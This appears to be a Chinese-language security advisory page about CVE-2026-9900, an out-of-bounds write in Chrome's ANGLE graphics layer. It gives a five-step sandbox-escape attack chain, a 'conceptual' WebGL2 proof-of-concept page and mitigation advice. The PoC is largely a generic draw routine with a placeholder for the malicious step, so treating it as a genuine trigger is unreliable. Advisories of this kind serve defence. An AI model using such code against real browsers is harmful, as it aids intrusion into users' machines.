IPBUF安全漏洞报告
English
CVE-2026-9900 CVSS 8.3 高危

CVE-2026-9900 Google Chrome ANGLE越界写入漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9900
漏洞类型
越界写入
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

越界写入Google Chrome沙箱逃逸远程代码执行ANGLE高危漏洞

漏洞概述

Google Chrome 148.0.7778.216 之前版本存在安全漏洞。该漏洞源于 ANGLE 组件中的越界写入问题。远程攻击者若已破坏渲染器进程,可通过精心制作的 HTML 页面利用此漏洞,从而可能导致沙箱逃逸,进而执行任意代码或获取系统权限。

技术细节

该漏洞位于 Google Chrome 的 ANGLE(Almost Native Graphics Layer Engine)组件中,具体表现为越界写入漏洞。ANGLE 用于将 OpenGL ES 命令转换为其他图形 API(如 DirectX 或 Vulkan)。由于缺乏对缓冲区边界的严格检查,攻击者可以写入超出预定内存区域的数据。利用该漏洞通常需要攻击者首先通过其他漏洞破坏 Chrome 的渲染进程。一旦渲染进程被攻陷,攻击者可以通过构造恶意的 HTML 页面触发 ANGLE 中的越界写入,进而修改内存中的关键数据结构。这可能导致沙箱安全机制失效(沙箱逃逸),使攻击者能够从渲染进程逃逸到浏览器主进程或操作系统层面,最终获得系统级权限。

攻击链分析

STEP 1
1. 初始入侵
攻击者诱导用户访问包含恶意代码的网站,或通过其他方式获得在浏览器渲染进程中的初始执行权。
STEP 2
2. 渲染进程破坏
攻击者利用浏览器渲染进程中的漏洞(如 RCE)获得对该进程的控制权,此时攻击者仍处于沙箱限制内。
STEP 3
3. 触发漏洞
在受控的渲染进程中,攻击者加载精心构造的 HTML 页面,通过 WebGL API 调用触发 ANGLE 组件中的越界写入漏洞。
STEP 4
4. 沙箱逃逸
利用越界写入修改内存中的关键指针或安全策略数据,破坏 Chrome 的多进程架构安全隔离,实现从渲染进程逃逸到宿主机环境。
STEP 5
5. 提权执行
攻击者获得系统级权限,可以在用户设备上执行任意代码、安装恶意软件或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Conceptual Proof of Concept for CVE-2026-9900 --> <html> <body> <script type="text/javascript"> // This PoC demonstrates a potential trigger for an ANGLE OOB write // It requires a vulnerable version of Chrome and a compromised renderer context try { var canvas = document.createElement('canvas'); var gl = canvas.getContext('webgl2'); if (gl) { console.log("[+] WebGL2 context initialized"); // Create a shader program that interacts with ANGLE translation layer var vsSource = ` #version 300 es in vec4 aPosition; void main() { gl_Position = aPosition; } `; var fsSource = ` #version 300 es precision highp float; out vec4 fragColor; void main() { fragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; function createShader(gl, type, source) { var shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.error("Shader compile error:", gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } var vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource); var fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource); var program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { console.error("Program link error:", gl.getProgramInfoLog(program)); } else { gl.useProgram(program); // Setup buffer with specific size to trigger OOB logic // Malicious size manipulation goes here var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Attempt to allocate a large buffer that might cause OOB write in ANGLE var data = new Float32Array(0x100000); gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW); // Define attributes var positionLocation = gl.getAttribLocation(program, "aPosition"); gl.enableVertexAttribArray(positionLocation); gl.vertexAttribPointer(positionLocation, 3, gl.FLOAT, false, 0, 0); // Trigger draw call which may exploit the vulnerability // This is where the OOB write occurs in vulnerable versions console.log("[+] Triggering draw call..."); gl.drawArrays(gl.TRIANGLES, 0, 0xFFFF); console.log("[+] Exploit attempt finished"); } } } catch (e) { console.log("[-] Error during PoC execution: " + e.message); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
在无法立即安装补丁的情况下,建议用户禁用浏览器的硬件加速功能(设置 > 系统 > 关闭“使用图形加速”),这可以降低 ANGLE 组件被利用的风险,但可能会影响网页渲染性能。同时,应避免点击不明链接或访问非信任的网站。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表